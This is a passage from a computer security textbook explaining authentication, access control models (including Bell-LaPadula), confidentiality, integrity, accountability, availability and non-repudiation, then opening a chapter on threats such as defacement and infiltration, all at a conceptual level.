password systems are generated from passwords, and users can easily have their passwords
changed if they are ever stolen or compromised. Biometric authentication becomes ineffec-
tive once attackers are able to impersonate biometric measurements. 

1.2.4. Final Notes on Authentication
Combining various authentication techniques can be more effective than using a single
authentication technique. For example, in the previous section, we discussed some of the dis-
advantages of using biometric authentication alone. However, if you combine biometric
authentication with another technique, such as a password or a token, then the authentica-
tion process becomes more effective.

The term two-factor authentication is used to describe the case in which a user is to be
authenticated based upon two methods. ATM cards are an example of two-factor authentica-
tion at work. ATM cards have magnetic stripes that have the user’s name and account number.
When the card is used, the user is required to enter not only the card into the teller machine,
but also a PIN, which can basically be thought of as a password. In such an example of two-
factor authentication, the bank requires the user to be authenticated based upon two
methods—in this case, something that the user has and something that the user knows. 

There are other factors that can be taken into account when conducting authentication.
For instance, Alice’s location can be considered a factor. Alice may carry around a cell phone
that has a GPS (Global Positioning System) chip inside of it. When Alice is standing in front of
an ATM requesting to withdraw money, Alice’s bank could ask her cell phone company’s com-
puter system where she currently is. If the cell phone company’s computer responds with a
latitude and longitude that corresponds to the expected location of the ATM, the bank can
approve the withdrawal request. However, if Alice’s ATM card and PIN were stolen by a bad
guy who is trying to withdraw money, then taking Alice’s location (or specifically, the location
of her cell phone) into account could help thwart such a fraudulent withdrawal request. If
Alice’s cell phone is still in her possession, when an attacker attempts to use her card at an
ATM, the location of the ATM will not correspond to the location of Alice’s cell phone, and the
bank will deny the withdrawal request (unless, of course, Alice and her cell phone are being
held captive in front of the ATM). In this example, it is advantageous for Alice to keep her cell
phone and her ATM card in different places; she should not, say, keep both of them in her
purse.
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In all the examples discussed so far, we have talked about people authenticating people or
people authenticating themselves to computers. In a large distributed system, however, com-
puters are also interacting with other computers. The computers may have to authenticate
themselves to each other because all computers cannot be trusted equally. There are many
protocols that can be used to allow computer-to-computer authentication, and these proto-
cols will, in general, support three types of authentication: client authentication, server
authentication, and mutual authentication. 

Client authentication involves the server verifying the client’s identity, server authentica-
tion involves the client verifying the server’s identity, and mutual authentication involves the
client and server verifying each other’s identity. When we discuss protocols, such as Secure
Sockets Layer (SSL) in Chapter 15, we will discuss the different modes they use to support
client, server, and mutual authentication.

Whether client, server, or mutual authentication is done often depends upon the nature
of the application and the expected threats. Many e-commerce web sites provide server
authentication once a user is ready to make a purchase because they do not want the client
to submit a credit card number to a spoofed or impostor web site. Spoofed web sites are a
significant security threat because they do not cost much to set up. 

On the other hand, in older cell phone networks, only client authentication was required.
Cell phone towers (servers) would only check that a phone (client) that attempted to commu-
nicate with it was owned by an authentic customer. The phones did not authenticate the cell
phone towers because cell phone towers were costly to set up, and an attacker would require
significant capital to spoof a cell phone tower. On the other hand, the cell phones themselves
were much cheaper, and hence wireless carriers only required phones to be authenticated.
Today, the cost of cell phone base stations is significantly cheaper, and modern-day cell phone
networks use mutual authentication. 

Now that we have completed our discussion of authentication, we are going to explore
our next security concept: authorization. 

1.3. Authorization
Authorization is the act of checking whether a user has permission to conduct some action.
Whereas authentication is about verifying identity, authorization is about verifying a user’s
authority. To give a concrete example, let us examine the case in which Alice authenticates
herself at an ATM by putting in her ATM card and entering her PIN. Alice may want to deduct
$500, but may only be authorized to deduct a maximum of $300 per day. If Alice enters $500
as the amount that she is requesting to deduct, the system will not authorize her transaction
even if she successfully authenticates herself. 

In the previous example, an authorization check questions whether Alice has the author-
ity to deduct a certain amount of money. Operating systems such as Windows and Linux do
authorization checks all the time. For example, when Alice attempts to delete a file, the oper-
ating system checks whether Alice is allowed to do so. A general mechanism called an access
control list (ACL) is used by many operating systems to determine whether users are author-
ized to conduct different actions. 
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1.3.1. Access Control Lists (ACLs)
Minimally, an ACL is a set of users and a corresponding set of resources they are allowed to
access. For example, Alice may have access to all the files in her home directory,1 but may not
have access to Bob’s files. Suppose Alice’s home directory is /home/Alice, and Bob’s home
directory is /home/Bob. An ACL that models this would list Alice as the principal,2 and it would
also list the set of files in her home directory that she is allowed to access, as shown in Table 1-1.
In the table, an asterisk (*) is used as a wildcard to indicate all files and subdirectories within a
particular home directory. An ACL may optionally include privileges that are associated with
resources. The Privilege column indicates that Alice and Bob are allowed to read, write, and
execute files in their respective home directories. 

Table 1-1. A Simple ACL

User Resource Privilege

Alice /home/Alice/* Read, write, execute

Bob /home/Bob/* Read, write, execute 

In some more sophisticated ACL schemes, another piece of information called a role is
added, which enables a user or principal to access particular resources. Table 1-2 shows an
example mapping of users to roles, and Table 1-3 shows a role-based ACL. In Table 1-2, Alice
is both a programmer and an administrator, and Bob is both a programmer and a backup
operator.3

Table 1-2. A User-Role Mapping

User Role

Alice Administrator, Programmer

Bob Backup Operator, Programmer 

Table 1-3. A Role-Based ACL

Role Resource Privilege

Backup Operator /home/* Read

Administrator /* Read, write, execute 
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1.3.2. Access Control Models
ACLs can be used to implement one of three access control models—the mandatory access
control (MAC) model, the discretionary access control (DAC) model, and the role-based
access control (RBAC) model—sometimes called the non-discretionary access model.

Mandatory Access Control (MAC)
In the MAC model, the computer system decides exactly who has access to which resources
in the system. In the MAC model, if Alice creates a new document, the system can decide that
no one but Alice is allowed to access that document. Alice herself does not have the right to
decide who else is allowed to access the file that she authored. Even if she wants to share the
document she authored with her friend Bob, she is not authorized to make that decision. For
instance, if Alice creates a file /home/Alice/product_specs.txt in a system with a MAC model,
there would be no way for Alice to decide on her own to allow Bob to see that file. In a MAC
model, only the computer system determines who is authorized to access documents that
Alice creates. 

Discretionary Access Control (DAC)
The DAC model is different from the MAC model in that users are authorized to determine
which other users can access files or other resources that they create, use, or own. In a discre-
tionary access system, Alice could let Bob access a file at her discretion by issuing a command
to the system, and then Bob would be given access to that file. For instance, in UNIX, which
uses a DAC model, Alice could issue the command chmod a+r /home/Alice/product_specs.txt
to allow all users on the system to read the file. The ACL that results from such a command is
shown in Table 1-4, in which the third row specifies that every user (denoted by *) has read
privileges for the file /home/Alice/product_specs.txt.

Table 1-4. The Resulting ACL

User Resource Privilege

Alice /home/Alice/* Read, write, execute

Bob /home/Bob/* Read, write, execute

* /home/Alice/product_specs.txt Read 

Role-Based Access Control (RBAC)
The third access control model is the RBAC model, which is similar to the MAC model in the
sense that the system decides exactly which users are allowed to access which resources—but
the system does this in a special way. A RBAC system will incorporate the user’s role into its
access decision. For instance, the system may know about the user’s position (or role) within a
company (e.g., administrative assistant, manager, or CEO) and give the user different privi-
leges based on that role. For instance, the CEO may be allowed to access salary information
about any employee in the company, whereas a manager may only be able to access salary
information about his or her subordinates. 
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As per the role-based ACL shown in Table 1-3, a backup operator is allowed to read data
from all user home directories (/home/*) so that the data can be archived. However, a principal
with an administrator role, such as Alice, may be able to read, write, and execute files any-
where on the file system. Users that have multiple roles would declare their role just prior to
conducting an action, such as doing a backup or modifying a file. While a user such as Bob
may have both read and write privileges to some files (such as those in his home directory),
the purpose of the role would be to ensure that he could not inadvertently modify a file while
doing a backup. 

Another example might use the concept of a group in the UNIX operating system to
implement RBAC. All users with a particular role would be placed in a group with the same
name as their role (e.g., Alice and Bob would be members of the group programmer). To make
the file /home/Alice/product_specs.txt available to all programmers, one could use the
command chgrp programmer /home/Alice/product_specs.txt. As long as the file has group
read privileges, all users within the programmer group will have read privileges for the file. The
results of such a command are shown in Table 1-5, which contains a third row that specifies
that any user with the programmer role can read the file /home/Alice/product_specs.txt.

Table 1-5. The ACL Based on the RBAC Model

Role Resource Privilege

Backup Operator /home/* Read

Administrator /* Read, write, execute

Programmer /home/Alice/product_specs.txt Read

■Note Our illustrations of various types of access control models using UNIX have been shown for concep-
tual clarity only. Various implementations of UNIX may implement ACLs using different data structures than in
the tables we have used.

Now that we have summarized the three different types of access control models, we will
examine an access control model called the Bell-LaPadula model. The Bell-LaPadula model
can be used to implement either a mandatory or discretionary access model, depending upon
the particular details of the implementation. 

1.3.3. The Bell-LaPadula Model
The Bell-LaPadula model is a popular access control model used by many government and
military organizations. In this model, all resources within the system are classified with a
certain level of access. The classifications are, in order of increasing privilege: unclassified,
confidential, secret, and top secret, as shown in Figure 1-2. In addition to associating a classifi-
cation with resources, all users are also given a classification (unclassified, confidential, secret,
or top secret). 
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The key innovation in the Bell-LaPadula model is not the idea of adding classifications
to users and resources, it is the use of various rules used to guide the decisions about who is
allowed to access the resources. There are three rules that guide the decisions about which
users are allowed to access which files: the simple property, the star property, and the tran-
quility property. 

Figure 1-2. The Bell-LaPadula model

The first rule, the simple property, states that if a user has a particular level of access, then
that user is not allowed to access any information resources that have a higher classification
than the user does. In essence, a user that has only unclassified access will only be able to
access unclassified files. A user with confidential access will be able to access confidential and
unclassified files, but not secret or top secret files. The simple property is an intuitive rule that
is very often called no read up.

The star property, also called the confinement property, is the second rule. If a user has
secret level access, then the user is not allowed to write any files or create any resources that
have a lower level of access. For example, if a user logs into a system and has secret level
access, that user is not allowed to write any files that would be accessible by someone with
only confidential or unclassified access. The idea behind this no write down strategy is that we
would not want any information to leak from a higher level to a lower level. With this strategy,
it would be impossible for someone with secret level access to write out any file in a system
that could be read by a user that has only unclassified or confidential access. The goal of the
star property is to restrict secret-level information only to the appropriate level of classifica-
tion or above. 

The third property of the Bell-LaPadula model is the tranquility property. The tranquility
property states that the classification of a file cannot be changed while that file is in use by any
user of the system. (The file is not considered to be tranquil while it is being edited or written.)
For example, if the status of a confidential file is to be changed to unclassified, one has to wait
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until all users currently using (and potentially writing to) that file to stop using it. The reason
to wait for tranquility is that it may be possible that some document could get declassified
while some user with confidential access is still writing confidential information into the doc-
ument. The tranquility property is a synchronization constraint placed upon all the resources
in the system that uses the Bell-LaPadula model. 

1.4. Confidentiality
The goal of confidentiality is to keep the contents of a transient communication or data on
temporary or persistent storage secret.

If Alice and Bob want to exchange some information that they do not want Eve to see, the
challenge is to make sure that Eve is not able to understand that information, even if Eve can
see the bits that are being transferred over the network. 

Suppose Eve is an eavesdropper who may be able to listen in on the contents of Alice and
Bob’s secret conversations. If Alice and Bob are communicating over a network, then Eve is
able to see the bits—the zeros and ones—that make up Alice and Bob’s conversation go back
and forth over the wires (or over the air, in the case Alice and Bob are using a wireless network). 

A real-world Eve might employ various existing software tools to eavesdrop. On an Ether-
net network that uses a hub (as opposed to a switch), for instance, each computer is capable
of actually seeing all the network traffic that is generated and received by any other computer.
A computer’s operating system is typically responsible for only allowing applications running
on that computer to access traffic that is directed to or from that computer, and filtering out
traffic that originates or is destined for other computers on the same network. However, if a
user has root or administrator privileges on a computer, that user can use a software package
such as Ethereal, tcpdump, or dsniff to access network traffic. These software packages are run
in a “promiscuous mode,” in which the operating system provides the software access to all
traffic on the network instead of providing filtered traffic that is just directed to or from the
computer on which it is running. While such packages exist to help network administrators
and engineers debug problems, they can be used for eavesdropping. Attackers may not have
administrator privileges, but can obtain them by first getting access to some account, and then
exploiting software vulnerabilities in the operating system to gain such privileges. 

Usually, some kind of encryption technology is used to achieve confidentiality. Most
encryption technologies use a key to encrypt the communication between Alice and Bob. A
key is a secret sequence of bits that Alice and Bob know (or share) that is not known to poten-
tial attackers.4 A key may be derived from a password that is known to both Alice and Bob. An
encryption algorithm will take the key as input, in addition to the message that Alice wants to
transfer to Bob, and will scramble the message in a way that is mathematically dependent on
the key. The message is scrambled such that when Eve sees the scrambled communication,
she will not be able to understand its contents. Bob can use the key to unscramble the mes-
sage by computing the mathematical inverse of the encryption algorithm. If Alice and Bob use
good encryption technology and keep the key secret, then Eve will not be able to understand
their communication.
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1.5. Message/Data Integrity
When Alice and Bob exchange messages, they do not want a third party such as Mallory to be
able to modify the contents of their messages. 

Mallory has capabilities similar to Eve, but Eve is a passive eavesdropper while Mallory is
an active eavesdropper. Though Eve is able to see the zeros and ones go by, she is unable to
modify them. Eve therefore cannot modify any part of the conversation. On the other hand,
Mallory has the ability to modify, inject, or delete the zeros and ones, and thus change the
contents of the conversation—a potentially more significant kind of attack. Mallory is some-
times referred to as a man in the middle.

Alice and Bob can use an integrity check to detect if an active eavesdropper like Mallory
has modified the messages in an attempt to corrupt or disrupt their conversation. That is,
Alice and Bob want to protect the message integrity of their conversation. One approach that
they can take to ensure message integrity is to add redundancy to their messages. 

Consider a hypothetical scenario in which Alice wants to send an “I owe you” (IOU) mes-
sage such as “I, Alice, owe you, Bob, $1.00,” and Mallory has the ability to change only one
character in the message. If Mallory wants Alice to be in more debt to Bob, she could change
the message to “I, Alice, owe you, Bob, $1000” by changing the dot to a zero. On the other
hand, if Mallory wants to cheat Bob out of his dollar, she could change the message to “I,
Alice, owe you, Bob, $0.00.” Assuming Mallory can only change a single character in a mes-
sage, Alice could add redundancy to her message by repeating the dollar amount twice so that
Bob could detect tampering. For example, if Alice sends the message “I, Alice, owe you,
Bob, $1.00. Confirm, $1.00,” then Mallory would not be able to change both of the dollar
values in the message, and Bob would be able to detect tampering by Mallory. If Mallory
changes one of the amounts in the message, Bob will see a mismatch between the two dollar
amounts and discard the message. In this manner, redundancy can be used to provide mes-
sage integrity. 

While Mallory may not be able to tamper with Alice’s IOU if she uses redundancy, she
may still be able to conduct a denial-of-service attack. If Mallory changes one of the dollar
amounts in the IOU each time Alice tries to send it to Bob, and Bob is forced to discard the
message each time because of the mismatched dollar amounts, Bob will never receive the
IOU he rightly deserves! (Denial-of-service attacks are discussed further in Section 1.7.)

Unfortunately, a real-world active eavesdropper will typically have the power to change
much more than a single character in a message, and the simple approach of repeating the
dollar amount will not work. In addition, repeating information more than once requires extra
communications bandwidth and is not terribly efficient. 

In networking communications protocols, approaches such as CRCs (cyclic redundancy
checks) can be used to achieve integrity and detect when bits in a message have been lost or
altered due to inadvertent communications failures. These techniques compute short codes
that are functions of the message being sent. Alice can attach a short code to the message
such that if the message or code are modified, Bob can determine whether they were tam-
pered with. 

However, while CRCs are sufficient to detect inadvertent communications failures, they
are typically not good enough to deal with adversaries such as Mallory. If Mallory knows that
a CRC is being used, and she has no restrictions on how many bytes she can modify, she can
also change the short code to match her modified message. 
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Instead, message authentication codes (MACs) are typically used to achieve message
integrity in real-world security protocols. A MAC is not only a function of the message itself,
but is also a function of a key known only to Alice and Bob, such that even if Mallory is able to
modify the bytes of a message, she will not be able to appropriately modify the corresponding
MAC. (MACs are covered in more detail in Chapter 15.)

While the goal in confidentiality is to make sure that the contents of Alice and Bob’s
communication cannot be understood by a third party like Eve or Mallory, there is no such
requirement for message integrity. For message integrity to be achieved, it does not matter
whether the eavesdropper can see the data in the message so long as she is unable to change
it undetected. The goal of message integrity is to make sure that even if Mallory can “look,”
she cannot “touch” the contents of the message. 

1.6. Accountability
While authentication and authorization are important, accountability is another key security
goal (especially for a company’s internal systems). The goal of accountability is to ensure that
you are able to determine who the attacker or principal is in the case that something goes
wrong or an erroneous transaction is identified. In the case of a malicious incident, you want
to be able to prosecute and prove that the attacker conducted illegitimate actions. In the case
of an erroneous transaction, you want to identify which principal made the mistake. Most
computer systems achieve accountability through authentication and the use of logging and
audit trails. To obtain accountability, you can have a system write log entries every time a user
authenticates, and use the log to keep a list of all the actions that the user conducted.

The chief financial officer (CFO) of a company may have the authority to transfer money
from the company’s bank account to any another, but you want to hold the CFO accountable
for any actions that could be carried out under her authority. The CFO should have the ability
to transfer money from the company account to other accounts because the company may
have certain financial commitments to creditors, vendors, or investors, and part of the CFO’s
job may involve satisfying those commitments. Yet, the CFO could abuse that capability.
Suppose the CFO, after logging into the system, decides to transfer some money from the
company’s bank account to her own personal account, and then leave the country. When the
missing funds are discovered, the system log can help you ascertain whether or not it was the
CFO who abused her privileges. Such a system log could even potentially be used as evidence
in a court of law.

It is also crucial to make sure that when the logging is done and audit trails are kept, the
logs cannot be deleted or modified after the fact. For example, you would not want the CFO to
be able to transfer money into her own personal account and then delete or change the audit
trail so that transaction no longer appears, or is covered up in any way to appear as if the
transaction had a different recipient. To prevent logs from being deleted or altered, they could
immediately be transferred to another system that hopefully an attacker would not be able to
access as easily. Also, Chapter 15 discusses how MACs (message authentication codes) can be
used to construct integrity check tokens that can either be added to each entry of a log or
associated with an entire log file to allow you to detect any potential modifications to the sys-
tem log. You can also use write once, read many (WORM) media to store system logs, since
once written, these logs may be hard (or even physically impossible) to modify—short of
destroying the media completely. 
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A good logging or audit trail facility also provides for accurate timestamping. When
actions are written to an entry in a log, the part of the entry that contains the time and date at
which the action occurred is called a timestamp. You need to ensure that no user can modify
timestamps recorded in the log. The operating system, together with all the other computers
on the network, must be in agreement on the current time. Otherwise, an attacker can log into
a computer whose clock is ahead or behind the real time to cause confusion about when cer-
tain actions actually occurred. A protocol such as Network Time Protocol (NTP) can be used to
keep the clocks of multiple computers synchronized. 

One problem with many of today’s systems is that logging facilities do not have secure
timestamping and integrity checking facilities. As a result, after attackers hack into a system,
they can change the logs such that no one can detect that they hacked in. Therefore, it is espe-
cially important to think carefully about a secure audit trail facility when you design secure
systems. If existing or third-party software tools are used when constructing systems, they
may have to be instrumented or modified to satisfy accountability goals. 

1.7. Availability
An available system is one that can respond to its users’ requests in a reasonable timeframe.
While availability is typically thought of as a performance goal, it can also be thought of as a
security goal. If an attacker is able to make a system unavailable, a company may lose its abil-
ity to earn revenue. For example, if an online bookstore’s web site is attacked, and legitimate
customers are unable to make purchases, the company will lose revenue. An attacker that is
interested in reducing the availability of a system typically launches a denial-of-service (DoS)
attack. If the online bookstore web site were run on a single web server, and an attacker trans-
mitted data to the web server to cause it to crash, it would result in a DoS attack in which
legitimate customers would be unable to make purchases until the web server was started
again. Most web sites are not run using just a single web server, but even multiple web servers
running a web site can be vulnerable to an attack against availability.

In a distributed denial-of-service (DDoS) attack, perpetrators commandeer weakly pro-
tected personal computers and install malicious software (malware) on them that sends
excessive amounts of network traffic to the victim web sites.5 The servers running the victim
web sites are then overwhelmed with the large number of packets arriving from the comman-
deered computers, and are unable to respond to legitimate users. 

In February 2000, the eBay, E*TRADE, Amazon, CNN, and Yahoo web sites were victims
of DDoS attacks, and some were disabled for almost an entire business day. This meant lost
revenues and interruption of service for legitimate users. One study by the Yankee Group esti-
mated the damage due to lost capitalization, lost revenues, and cost of security upgrades to be
$1.2 billion (Kovar 2000); this cost figure was also cited in a FBI congressional statement on
cybercrime (Gonzalez 2000).

We include availability as a security goal because it is sometimes difficult to provide a sys-
tem that is both highly secure and available all the time. There is sometimes an interesting
trade-off between availability and security. For example, if a computer is disconnected from
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the Internet and stored in a physically secure location where no one is allowed to access it, the
computer will be very secure. The problem is that such a computer is not readily available to
anyone for use. 

You want to design systems whose functionality is available to the largest possible
intended audience while being as secure as possible. A service like PayPal (www.paypal.com),
which supports person-to-person payments, is an example of a system that generates more
revenue the more users take advantage of it, and as such, its availability is critical—users may
get very upset if they cannot access their funds at a moment’s notice.

How does one achieve availability in a system? One method is to add redundancy to
eliminate any single point of failure. For example, consider a telephone network. In such a
network, phones connect to a switch (central office) that directs calls. If someone wants to
attack your ability to place phone calls, he might cut the telephone line that connects to that
particular central office, and as a result you would not be able to make calls. Attackers some-
times cut off a victim’s ability to communicate prior to launching an attack.

One potential way to avoid single points of failure is to add redundancy. (Note that we are
referring to a different type of redundancy than the redundancy we referred to in our discus-
sion of message integrity.) A second switch can be added to the network so that if an attacker
disables the first switch, the system will automatically connect you to the second. 

Another potential DoS attack can be conducted by filling up a system’s disk. Suppose
users are sharing a disk on a server that is used to store their photos. That server may be run-
ning critical processes that need some disk space themselves. If an attacker can sign up as a
user (or compromise an existing account) and fill up the shared disk with his own photos (or
garbage data), then the critical processes may not be able to properly function, and system
failure may ensue. 

If you impose limits on the amount of disk space that each user can use, then even if the
attacker is able to compromise one user’s account, he will only be able to use up a certain
amount of disk space. The attacker would need to compromise additional accounts to use up
more disk space. In such a system, even if a user is a legitimate, paying customer, that user
should not be trusted with more than her fair share of disk space because her account could
be compromised. 

Now that we have covered availability, let us move on to the last key security goal we con-
sider in this chapter: non-repudiation. 

1.8. Non-repudiation
The goal of non-repudiation is to ensure undeniability of a transaction by any of the parties
involved. A trusted third party, such as Trent, can be used to accomplish this. 

For example, let us say Alice interacted with Bob at some point, and she does not want
Bob to deny that she interacted with him. Alice wants to prove to some trusted third party (i.e.,
Trent) that she did communicate with Bob. If, for instance, Alice sent a payment for a bill to
Bob over the Web, she may want her payment to be non-repudiable. That is, she does not want
Bob to be able to deny that he received the payment at some later point for any reason. 

Alice, for example, may feel comfortable sending money to Trent, but not directly to Bob.
Bob also trusts Trent. Trent may say to Bob, “Yes, Alice gave me the $500, so you can ship her
the goods, and then I will pay you.” In such an example, Trent is playing the role of an escrow
agent, but trusted third parties may be able to serve in many other types of trusted roles
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beyond being escrow agents. Because Alice and Bob trust Trent, they may be able to conduct
certain types of transactions that they could not have accomplished otherwise. 

To illustrate another example in which Alice and Bob use the help of Trent, consider that
Alice might want to sign a contract to be employed by Bob. Alice might want Trent to serve as a
judge so that if Bob ever tries to pay her less than the salary specified by the contract, she can
call on Trent to help enforce the contract. At the same time, Bob might not want Alice to show
the employment contract to another potential employer to try to get a higher offer. 

Alice and Bob can accomplish both of their goals by using Trent’s help. Bob can give Trent
the employment contract. Trent tells Alice the amount of the offer, and agrees not to show the
employment contract to other employers. Then, Alice can decide whether to accept the con-
tract, but will not be able to use it to negotiate higher offers with other employers. Also, if Bob
ever tries to cheat Alice by not issuing payment, Trent can intervene. Note that we assume that
Trent is trusted to be impartial and will not collude with either Alice or Bob. To summarize,
trusted third parties can help conduct non-repudiable transactions. 

In general, non-repudiation protocols in the world of security are used to ensure that two
parties cannot deny that they interacted with each other. In most non-repudiation protocols,
as Alice and Bob interact, various sets of evidence, such as receipts, are generated. The
receipts can be digitally signed statements that can be shown to Trent to prove that a trans-
action took place. 

Unfortunately, while non-repudiation protocols sound desirable in theory, they end up
being very expensive to implement, and are not used often in practice.

1.9. Concepts at Work
Now that we have covered a number of key security concepts, let us examine how those
concepts work together in a typical web client/web server interaction. Suppose Alice is an
employee of a company called PCs-R-Us, and her job responsibility is to order DVD drives for
the company’s PCs from a company called DVD-Factory. DVD-Factory has a web site that
Alice uses to procure DVDs for her company. The following points examine why DVD-Factory
might want to care about the security goals discussed in this chapter when implementing its
web site. 

• Authentication: If a malicious competitor is trying to steal business from DVD-Factory,
the competitor could create a web site that looks exactly like the DVD-Factory web site,
but at a different web address. To combat that tactic, DVD-Factory needs to make sure
that the web server can be authenticated so that when Alice goes to the DVD-Factory
web site, she knows she is dealing with DVD-Factory and not DVD-Factory’s look-alike
competitor.

The SSL protocol is used between web clients and web servers to do secure transac-
tions. When Alice enters the web address https://www.dvd-factory.biz, Alice’s browser
will invoke the SSL protocol to make sure that the web site authenticates itself to her
browser. (We will talk more about how the SSL protocol accomplishes this later in the
book, but at this point, it is important to note that the web browser authenticates the
web site to make sure that it is dealing with DVD-Factory’s web site and not another
web site that is trying to spoof or imitate it.)
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Alice then has to log into DVD-Factory and give that web site her username and
password so that DVD-Factory knows that it is Alice, an authenticated principal 
at PCs-R-Us, who is attempting to buy DVDs from them. 

• Authorization: While Alice is the trusted PCs-R-Us employee to order DVDs, Bob,
another employee at PCs-R-Us, might be responsible for accounting and auditing. He
might also have a login and password to the DVD-Factory web site because he needs to
see prices and orders placed, but he may not be allowed to place orders for DVDs him-
self. Before accepting an order, the DVD-Factory web site conducts an authorization
check to make sure that the logged-in user is allowed to place an order. If Alice tries to
order DVDs from PCs-R-Us, the web site will allow it, but if Bob attempts to order
DVDs, the order will be rejected. 

• Confidentiality: DVD-Factory doesn’t want competitors to be able to see exactly how
many or which DVDs Alice happens to be ordering from DVD-Factory, because that
may give them competitive information. The SSL protocol encrypts all of the communi-
cation between Alice and the DVD-Factory web site with an algorithm such as Triple
DES. (We cover SSL in more detail in Chapter 15, and we cover Triple DES and other
encryption algorithms in Chapters 12 and 13.) 

• Message Integrity: Suppose that Alice wants to order ten DVDs from DVD-Factory, but
an attacker wants to alter her order to zero DVDs. If the attacker succeeds and DVD-
Factory gets a message saying that Alice has ordered zero DVDs, her job may be
affected, since no DVDs are actually going to be shipped. Alice may eventually get frus-
trated with DVD-Factory and might decide to go to a competitor (who may be behind
this mischief). Message and data integrity are very important to prevent such mischief.
The SSL protocol uses message authentication codes in the messages that are sent
between Alice and the web site to make sure that no competitor or other malicious
party can tamper with the data. 

• Availability: DVD-Factory may have a competitor that launches a DoS attack against
the site in order that Alice will stop buying from DVD-Factory and instead come to their
competing site. As part of DVD-Factory’s security strategy, its web site needs to be kept
running and available 24 hours a day, 7 days a week. One simple (but potentially expen-
sive) approach that DVD-Factory might use to mitigate a DoS attack against it would be
to overprovision their bandwidth to handle the increased traffic load caused by illegiti-
mate clients. You can read more about overprovisioning and other approaches to
mitigating DoS attacks in Internet Denial of Service Attack and Defense Mechanisms,
by Jelena Mirkovic et al.

• Accountability: To ensure accountability, every time Alice places an order from the
DVD-Factory web site, it produces a log entry so that Alice cannot later claim to have
not ordered the DVDs. This may sound a bit like non-repudiation, but it is actually
accountability, since the goal is to simply keep a log of what Alice has and has not done.

• Non-repudiation: It is possible for DVD-Factory to cheat and report that Alice ordered
more DVDs than she actually did. If the web browser and web site run a non-repudiation
protocol, it is then possible for Alice to prove to a third party that she only ordered, say,
10 DVDs, and not the 12 that DVD-Factory may claim she ordered.
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Unfortunately, true non-repudiation is not provided by SSL, and is not implemented on
most web sites, partially due to the absence of a practical protocol for non-repudiation,
and partially because there are no organizations to serve as the trusted third parties. 

In practice, when customers pay for services with credit cards on web sites, Visa and
Mastercard take on the role of trusted third parties, but they usually end up trusting
their users much more than the merchant web sites from which their users buy prod-
ucts. If a user claims that he or she did not place an order with a merchant, then the
credit card company favors the user and issues a chargeback. In the physical world,
merchants can fight the chargeback if they can produce a receipt that the user signed.
Of course, in the context of a web transaction, there is no good proxy or replacement
for a receipt signed by the user! 

While we unfortunately do not see true non-repudiation on the Web today, it is possible
that the Web of the future will provide better non-repudiation capabilities.
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Secure Systems Design

This chapter examines how to architect and design systems that accomplish the security
goals covered in Chapter 1. We first spend some time discussing prototypical threats to soft-
ware, and then discuss how to design security into applications from the beginning. We focus
on a number of high-level approaches and trade-offs, and discuss how security is sometimes
perceived to be at odds with factors such as convenience and usability. We also discuss the
concept of “security by obscurity” and why it is usually not sufficient. We look at security as a
game of economics and risk management. Some of the approaches and design principles
we cover in this chapter and the next were for the first time described in Jerome Saltzer and
Michael Schroeder’s paper, “The Protection of Information in Computer Systems”—we bring
them to life and illustrate them with many real-world examples.

We also illustrate the approaches, trade-offs, and security design principles using a con-
crete, running code example throughout this chapter and the next. While most security books
only talk about these principles in the abstract, we present actual code examples for a simple,
small web server, and show specifically how it can be exploited by an attacker if security
design principles are not followed. The code is written in the Java programming language,
but we explain each line of code such that programmers of any language should be able to
understand how the principles apply in their favorite programming language. The code
examples can be downloaded from www.learnsecurity.com/ntk.

2.1. Understanding Threats
As new businesses take shape, new threats need to be identified and mitigated to allow for the
continued success of those businesses. Over time, new businesses can use additional security
technology to mitigate such threats. As your organization enters new businesses, it may be
worthwhile to consider developing, buying, and deploying new technological solutions that
help mitigate threats that did not exist prior to the organization’s entry into that new business. 

Different types of businesses will be more sensitive to different threats, and will have
different security goals to mitigate those threats. Understanding threats is important in deter-
mining a system’s security goals. 

In the following section, we describe some sample threats and types of attacks to give you
a flavor of some prototypical applications and threats they may face. Of course, keep in mind
that there are many more types of computer security threats and attack types than those we
list here. 
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2.1.1. Defacement
Consider what might be the most significant types of threats to a civil liberties web site or the
White House web site. Since these web sites are created by organizations that advocate a par-
ticular political stance, an attacker is probably interested in making some kind of political
statement against these organizations. Therefore, the most significant threat against such sites
may be defacement. 

Defacement is a form of online vandalism in which attackers replace legitimate pages of
an organization’s web site with illegitimate ones. In the years 1999 and 2001, for example, the
White House web site was defaced by supposed anti-NATO activists (Dennis and Gold 1999)
and Chinese hackers (Anderson 2001). In such defacement attacks, the attackers usually
replace the front page of a web site with one of their own choice. 

Defacement is a very different type of threat than what other web sites, such as financial
institutions or e-commerce vendors, might face. The attackers of these web sites may be most
interested in compromising bank accounts or conducting credit card fraud. Therefore, how we
design systems to be secure against attacks is dependent on the type of threats that we expect
them to face. 

In the case of a politically oriented web site, say, www.whitehouse.gov, there may be a data-
base where all of the content for that web site is stored. The owner of the web site may not care
if an attacker gains read-only access to the information in that database—however, they do
not want the attacker changing the information in that database. On the other hand, a finan-
cial institution or e-commerce web site does not want the attacker to be able to even read the
information in the back-end database. If this happened, the credit card or account numbers
of clients might be compromised. 

2.1.2. Infiltration
In general, infiltration is an attack in which an unauthorized party gains full access to the
resources of a computer system (including, but not limited to, use of the CPUs, disks, and net-
work bandwidth). In later chapters, we study how buffer overflow, command injection, and
other software vulnerabilities can be used by attackers to infiltrate and “own” computers. 

In some defacement attacks, an attacker may have to infiltrate a web server to conduct
the defacement. But the threat from infiltration can be quite different than that of deface-
ment, depending on the type of web site. Consider the threat from an infiltration in which an
attacker is able to write to a database running behind, say, a financial web site, but not be able
to read its contents. If the attacker is able to write information to the database without reading
it, the situation might not be as bad as you might think. So long as you can detect that the
attacker’s write took place, the situation can be mitigated. You can always restore the correct
account numbers and balances from a backup database, and redo all transactions that occurred
after the unauthorized writes to prevent your users from being affected. (For the purposes of
this example, we assume that even if an attacker is able to write the database content, the
attacker would not be able to rewrite logs. In the real world, attackers can sometimes also
rewrite logs, which presents greater problems.) So, in the case of the political web site, you
most importantly need to defend against an attacker who attempts to gain write capability,
while in the case of a financial web site, it is most important to defend against an attacker
who attempts to gain read capability.
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The preceding example illustrates that different types of web sites are going to have differ-
ent security goals. In the case of a political web site, the integrity of the web site content is the
most significant concern, while in the case of a financial web site, integrity and confidentiality
of customer data are both of high importance. 

Military web sites have still different security sensitivities. If a military web site is defaced,
it might simply be embarrassing for them. Infiltration of a military web site, in which confi-
dential or classified data is acquired by the attacker, however, could be a threat to national
security. 

2.1.3. Phishing
Phishing is an attack in which an attacker (in this case, a phisher) sets up a spoofed web site
